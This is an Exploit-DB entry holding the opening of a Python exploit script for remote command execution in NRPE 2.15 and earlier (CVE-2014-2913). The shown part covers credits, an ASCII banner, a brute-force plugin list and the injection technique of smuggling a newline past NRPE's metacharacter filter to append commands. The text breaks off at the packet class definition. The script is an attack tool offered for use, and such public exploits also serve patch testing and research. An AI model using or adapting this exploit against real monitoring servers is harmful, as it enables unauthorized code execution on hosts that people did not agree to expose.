Exploit-DB #34461
Description: NRPE 2.15 - Remote Code Execution
Type: remote
Platform: multiple
Date: 2014-08-29
Author: Claudio Viviani

Exploit:
#!/usr/bin/python
#
#
# Exploit Title : NRPE <= 2.15 Remote Code Execution Vulnerability
#
# Discovered by  : Dawid Golunski
#                  dawid (at) legalhackers (dot) com
#                  legalhackers.com
#
# Exploit Author : Claudio Viviani
#                  http://www.homelab.it
#
#                  info@homelab.it
#                  homelabit@protonmail.ch
#
#                  https://www.facebook.com/homelabit
#                  https://twitter.com/homelabit
#                  https://plus.google.com/+HomelabIt1/
#                  https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
#
#
#
# C crc32 function ripped from check_nrpe_clone by Alan Brenner <alan.brenner@ithaka.org>
#                                       http://www.abcompcons.com/files/nrpe_client.py
#
# pyOpenSSL Library required (http://pyopenssl.sourceforge.net/)
#
# [root@localhost ~]# pip-python install pyOpenSSL
#
# NRPE <= 2.15 Remote Command Execution Vulnerability
# Release date: 17.04.2014
# Discovered by: Dawid Golunski
# Severity: High
# CVE-2014-2913
#
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2913
# http://www.exploit-db.com/exploits/32925/
# http://www.homelab.it/index.php/2014/05/03/nagios-nrpe-remote-command-injection-test-fix/ (ITA)
#
# Tested on CentOS 5.x, CentOS 6.x, BacBox 3.x, KaliLinux 1.0.6 with Python 2.x
#
# Demo: https://www.youtube.com/watch?v=nmYiBdnWWcE
#

import OpenSSL # non-standard, see http://pyopenssl.sourceforge.net/
import optparse
import os
import signal
import socket
import struct
import sys
import time

banner = """

$$\   $$\ $$$$$$$\  $$$$$$$\  $$$$$$$$\        $$$$$$\        $$\  $$$$$$$\\
$$$\  $$ |$$  __$$\ $$  __$$\ $$  _____|      $$  __$$\     $$$$ | $$  ____|
$$$$\ $$ |$$ |  $$ |$$ |  $$ |$$ |            \__/  $$ |    \_$$ | $$ |
$$ $$\$$ |$$$$$$$  |$$$$$$$  |$$$$$\           $$$$$$  |      $$ | $$$$$$$\\
$$ \$$$$ |$$  __$$< $$  ____/ $$  __|         $$  ____/       $$ | \_____$$\\
$$ |\$$$ |$$ |  $$ |$$ |      $$ |            $$ |            $$ | $$\   $$ |
$$ | \$$ |$$ |  $$ |$$ |      $$$$$$$$\       $$$$$$$$\ $$\ $$$$$$\\$$$$$$  |
\__|  \__|\__|  \__|\__|      \________|      \________|\__|\______|\______/



                  $$$$$$$\   $$$$$$\  $$$$$$$$\\
                  $$  __$$\ $$  __$$\ $$  _____|
                  $$ |  $$ |$$ /  \__|$$ |
                  $$$$$$$  |$$ |      $$$$$\\
                  $$  __$$< $$ |      $$  __|
                  $$ |  $$ |$$ |  $$\ $$ |
                  $$ |  $$ |\$$$$$$  |$$$$$$$$\\
                  \__|  \__| \______/ \________|
                                                   NRPE <= 2.15 R3m0t3 C0mm4nd Ex3cut10n


                =============================================
                - Release date: 17.04.2014
                - Discovered by: Dawid Golunski
                - Severity: High
                - CVE: 2014-2913
                =============================================

                                Written by:

                              Claudio Viviani

                           http://www.homelab.it

                              info@homelab.it
                           homelabit@protonmail.ch

                      https://www.facebook.com/homelabit
                      https://twitter.com/homelabit
                      https://plus.google.com/+HomelabIt1/
            https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

"""
# Plugin list for Brute force mode
PluginList = ['check_all',
             'check_apt',
             'check_bdii',
             'check_bonding',
             'check_breeze',
             'check_by_ssh',
             'check_check-updates',
             'check_check_sip',
             'check_cluster',
             'check_dhcp',
             'check_dig',
             'check_disk',
             'check_disk_smb',
             'check_dns',
             'check_dpm-disk',
             'check_dpm-head',
             'check_dummy',
             'check_file_age',
             'check_flexlm',
             'check_fping',
             'check_game',
             'check_hpjd',
             'check_http',
             'check_icmp',
             'check_ide_smart',
             'check_ifoperstatus',
             'check_ifstatus',
             'check_ircd',
             'check_lcgdm',
             'check_lcgdm-common',
             'check_ldap',
             'check_lfc',
             'check_linux_raid',
             'check_load',
             'check_log',
             'check_mailq',
             'check_mrtg',
             'check_mrtgtraf',
             'check_mysql',
             'check_nagios',
             'check_nrpe',
             'check_nt',
             'check_ntp',
             'check_nwstat',
             'check_openmanage',
             'check_oracle',
             'check_overcr',
             'check_perl',
             'check_pgsql',
             'check_ping',
             'check_procs',
             'check_radius',
             'check_real',
             'check_rhev',
             'check_rpc',
             'check_sensors',
             'check_smtp',
             'check_snmp',
             'check_ssh',
             'check_swap',
             'check_tcp',
             'check_time',
             'check_ups',
             'check_users',
             'check_wave']



# nrpe 2.15 skip chars "|`&><'\"\\[]{};" and "$()" but not "\x0a"(new line)
evilchar = "\x0a"

QUERY_PACKET    = 1
RESPONSE_PACKET = 2

NRPE_PACKET_VERSION_2 = 2

# max amount of data we'll send in one query/response
MAX_PACKETBUFFER_LENGTH = 1024


#def debug(sMessage):
#    """Send a string to STDERR"""
#    if DEBUG:
#        sys.stderr.write("%s\n" % sMessage)

class DataPacket:
    """A Python implementation of the C struct, packet."""
    def __init__(self, packet_version, packet_type):